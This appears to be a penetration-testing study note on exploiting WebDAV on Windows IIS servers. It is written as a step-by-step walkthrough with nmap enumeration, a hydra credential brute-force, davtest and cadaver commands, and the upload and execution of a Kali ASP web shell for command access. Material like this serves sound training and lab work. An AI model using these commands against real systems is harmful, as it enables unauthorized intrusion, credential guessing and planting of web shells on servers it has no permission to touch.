Skip to content

Frequently exploited Windows Services

  • Default ports
80, 443
  • Supported executed files
.asp
.aspx
.config
.php

WebDAV is a protocol that allows you to edit web content on a server using HTTP or HTTPS connections. It has advantages over FTP such as more security options and file locking.

  • Default ports
80, 443
  • Needs legitimate credentials, since it implements authentication in form of a username/password
  1. Enumeration. Identify whether WebDAV has been configured to run on the IIS web server.
  2. Brute-force attack on the WebDAV server in order to identify legitimate credentials that we can use for authentication.
  3. Upload a malicious (like a .asp payload) and execute arbitrary commands or obtain a reverse shell on the target.
  • davtest -> Used to scan. authenticate and exploit a WebDAV server.
  • cadaver -> Supports file upload, download, on-screen display, in-place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking on WebDAV servers.
Terminal window
nmap -sV -sC $IP

  • nmap deep dive
Terminal window
nmap -sv -p 80 --script=http-enum $IP

The address will be http://%IP/webdav/

Terminal window
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt $IP http-get /webdav/
Terminal window
davtest -auth admin:password_123 -url http://$IP/webdav

  • The most important section of the output, with that we can see that .asp can be executed and we can get our reverse shell wih that

Terminal window
cadaver http://$IP/webdav
Put credentials and get a cmd shell
  • Use kali linux pre-package web shells to upload a file and get access

Folder:

Terminal window
/usr/share/webshells

  • Using the cadaver shell upload the web shell
Terminal window
put /usr/share/webshells/asp/cmd
  • Go via UI and execute the web shell